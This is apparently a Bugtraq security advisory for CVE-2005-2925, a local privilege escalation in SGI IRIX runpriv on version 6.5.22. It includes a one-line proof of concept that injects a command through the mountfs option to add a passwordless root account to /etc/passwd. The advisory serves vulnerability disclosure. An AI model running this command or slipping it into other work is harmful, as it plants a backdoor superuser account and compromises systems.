SGI IRIX Runpriv Local Privilege Escalation Vulnerability

Bugtraq ID:	15055
Class:	Design Error
CVE:	CVE-2005-2925
Remote:	No
Local:	Yes
Published:	Oct 10 2005 12:00AM
Updated:	Jul 12 2009 05:07PM
Credit:	Discovery is credited to an anonymous researcher.
Vulnerable:	SGI IRIX 6.5.22 m
Not Vulnerable:

SGI IRIX Runpriv Local Privilege Escalation Vulnerability

SGI IRIX runpriv can allow local attackers to gain elevated privileges.

A local user can append an arbitrary command while executing the application and have the commands executed with superuser privileges.

A successful attack can allow the attacker to gain elevated privileges and completely compromise an affected computer.

IRIX 6.5.22 (maintenance) is reportedly vulnerable, however, other versions are likely to be affected as well.

SGI IRIX Runpriv Local Privilege Escalation Vulnerability

An exploit is not required.

The following proof of concept is available:
/usr/sysadm/bin/runpriv mountfs -s test -d / -o \|
"ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh >> /etc/passwd'"

SGI IRIX Runpriv Local Privilege Escalation Vulnerability

Solution:
Reports indicate that the vendor has released an advisory and fixes to address this issue. Symantec was not able to verify this information. Please contact the vendor for more information.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

SGI IRIX Runpriv Local Privilege Escalation Vulnerability

References:

• IRIX Product Page (SGI)
  
• SGI IRIX runpriv Design Error Vulnerability (iDEFENSE)
  
• SGI IRIX runpriv Design Error Vulnerability (iDEFENSE Labs )